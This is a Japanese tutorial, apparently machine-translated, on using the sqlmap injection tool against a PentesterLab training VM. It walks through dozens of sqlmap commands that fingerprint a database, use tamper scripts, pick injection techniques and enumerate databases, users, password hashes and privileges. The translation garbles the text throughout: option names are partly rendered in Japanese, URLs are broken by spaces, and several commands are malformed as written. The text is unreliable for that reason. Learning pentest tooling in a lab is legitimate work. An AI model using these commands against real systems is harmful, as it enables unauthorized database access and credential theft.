SQLMAP説明:
Pythonで書かれたに基づいて自動的に検出し、SQLインジェクションの脆弱性を利用することができ、オープンソースの侵入テストツールを、SQLMAP、それを直接実行するには、コマンドラインでダウンロード版2.7またはコールPythonインタプリタの2.8に推奨されます。
テスト環境:
構造pentesterlab vmare範囲は、Python + SQLMAPを使用してテスト
、SQLMAP使用:
(1)はSQLMAPバージョン情報確認 のPython sqlmap.py --version
(2)で表示SQLMAPヘルプ --helpのpython sqlmap.py
:2、SQLMAP直接データベース
(1)サービスデータやリレーショナルデータベース(ユーザー名を:rootパスワード:123456)
のPython sqlmap.py -d "のMySQL://ルート:[email protected]:3306 / TESTDB" -f --banner --dbs --users
(2)ファイルデータベース(前提条件:データベースの絶対パス)
DBMS:// DATABSE_FILEPATH(SQLiteは、ACCESSなど)
(3)SQLMAP単一のURL検出パラメータ-u
パイソンsqlmap.py -u「http://192.168.1.4 / SQLインジェクション/ example4 /?REQ =名%3D%27hacker%27「--banner
SQLMAPの検出率を改善するための三つの方法
(1)永続的な接続SQLMAP -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27" --current --keepアライブ-DB
(2)マルチスレッドSQLMAP -u "http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"は--thread 10の--dbs
IV指定にデータベース・タイプを
(1)SQLMAP -u「http://192.168.1.4 / SQLインジェクション/ example4 /?ユーザ名= REQ%3D%27%27hacker "--current-DB
(2)SQLMAP -u" http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27 "--dbms mysqlの[バージョン] --current-DB
5は、WindowsオペレーティングシステムのLinux OSのバックエンドを指定
http://192.168.1.4/sqlinjection/example4/?req=username%3d%(1)SQLMAP -u" 27hackerの%27 "--dbmsのMySQL --osウィンドウ --current-DB
指定噴射幅6バイト(タンパー=" unmagicquotes.py「)
"http://192.168.1.4/sqlinjection/example4/?req=username%3d%27hacker%27"(1)SQLMAP -u --dbmsのMySQL --dbs --thread 10 --tamper = "unmagicquotes.py" -v 3 --batch
。8無効な値(例えば、88888 = ID)同じ目標を達成するために、大きな整数を使用するように強制力の交換--invalid -bignum、に設定されているが、
(1)-u sqlmap.py Pythonの「HTTP://192.168 .52.130 / SQLインジェクション/ example7 /?ID 3つの-v = 1「--invalid-BIGNUM --current-DB
同じ目標を達成する力ブール演算の使用は--invalid-論理を(例えば1と=。1 = ID 2)
(1)のpython sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --invalid-論理--current-DB -v 3つの
軍同じ目標を達成するために、ランダムな文字列を使用します- -invalid文字列(例えば、ABCDE = ID)
(1)-u sqlmap.pyパイソン"http://192.168.52.130/sqlinjection/example7/?id=1"--invalid文字列--current-DB -v 3
9、SQLMAPセットカスタム検出パラメータ
5つのレベルの合計、実行される試験レベルのパラメータを--level指定し、検出レベル5、
--riskプラットフォーム危険レベル3の3つのレベルの合計が最高レベルです。ときレベル= 2、それはクッキーの注入をテストします。レベル= 3は、テストがユーザエージェント/リファラー噴射されるときに
(1)のpython sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1 " --level = 3 --tamper = --current-DB Base64Encode
(2)-u sqlmap.pyパイソン"http://192.168.52.130/sqlinjection/example7/?id=1" --level 5 --risk = = = 3 Base64Encode --tamper。。 -現在のdBの
10、SQLMAPは、特定の技術的なSQLインジェクションを提供
設定された特定のパラメータのSQLインジェクション技術に使用--techbnique。
B:ブールに基づいてブールベースのブラインドはブラインド
エラーベースエラー注入:E
U:ユニオンクエリベースUnbionクエリ注入
S:積み上げクエリスタック射出
T:時限ベースのブラインド時間がブラインド
Qを:lnlineクエリインラインクエリ注入
(1)-u sqlmap.pyパイソン"http://192.168.52.130/sqlinjection/example7/?id=1" B --dbs --technique -v 4。
(2)-u sqlmap.py Pythonの「HTTP:/ /192.168.52.130/sqlinjection/example7/?id=1「-v 4 --technique BS --dbs
11、ブラインドSQLMAPセットアップ時間遅延、第二のセット(DBMS遅延)に応じて、遅延-時間秒オプション
(1)のPython sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" -v 4 --technique T
(2)はPython sqlmap.py -u「HTTP://192.168 .52.130 / SQLインジェクション/ example7 /?ID = 1「-v 4 --technique T --time秒3
12、フィールドのSQLMAP和集合の数は、デフォルトでは、ユニオンクエリSQL 1 DAOを使用SQLMAP試験は10のカラムに注入技術が、より高い--level値を提供することによって、この範囲は50に増加させることができる
よう12-16 12-16指示ユニオンクエリ列として整数ツールの一連続い--union-COLS、から選択を提供するための手動による方法SQLインジェクションのテスト
(1)-u sqlmap.pyパイソン"http://192.168.52.130/sqlinjection/example7/?id=1" -v-ユニオンCOLS。4 U-12-18 --technique
(2)-u sqlmap.pyパイソン」 http://192.168.52.130/sqlinjection/example7/?id=1 "-v-チャー3 --technique --union U-123
(3)-u sqlmap.pyパイソン" http://192.168.52.130/sqlinjection/ ?example7 / ID = 1 "-v 4 --technique U --union-チャー1 --union-colsの12-18
13、バナーDBMSを取得SQLMAP
(1)のPython sqlmap.py -u" HTTP://192.168 .52.130 / SQLインジェクション/ example7 /?上記ID = 1 "--technique U --banner -v 3
SQLMAP DBMS取り出し、現在のユーザ
(1)のpython sqlmap.py -u" http://192.168.52.130/sqlinjection/example7/ ? = 1 ID「ユーザ---技術--current U - 、V 3は、
現在のデータベースを検索するSQLMAP
(1)パイソンsqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --technique U --current-DB -v 3
SQLMAP現在のデータベース・ホスト名--hostnameを取得する
(1 )-u sqlmap.pyパイソン"http://192.168.52.130/sqlinjection/example7/?id=1" Uを--technique ---ホスト名-v。3つの
現在のユーザがDBAであるか否かをSQLMAPの取り出し--- DBAである
(1) -u sqlmap.pyパイソン"http://192.168.52.130/sqlinjection/example7/?id=1"は、DBA --is
SQLMAP列挙DBMSユーザ
(1)のpython sqlmap.py -u「HTTP ://192.168を。 52.130 / SQLインジェクション/ example7 /?上記ID = 1 "--technique BU --users
SQLMAP列挙DBMSユーザパスワード
(1)のpython sqlmap.py -u" http://192.168.52.130/sqlinjection/example7/?id=1 「--technique BU --password
SQLMAP列挙権のDBMS
(1)のpython sqlmap.py -u "http://192.168.52.130/sqlinjection/example7/?id=1" --role
(2)のpython sqlmap.py -u「http://192.168.52.130/sqlinjection/ example6 /?グループ=ユーザ名」--privileges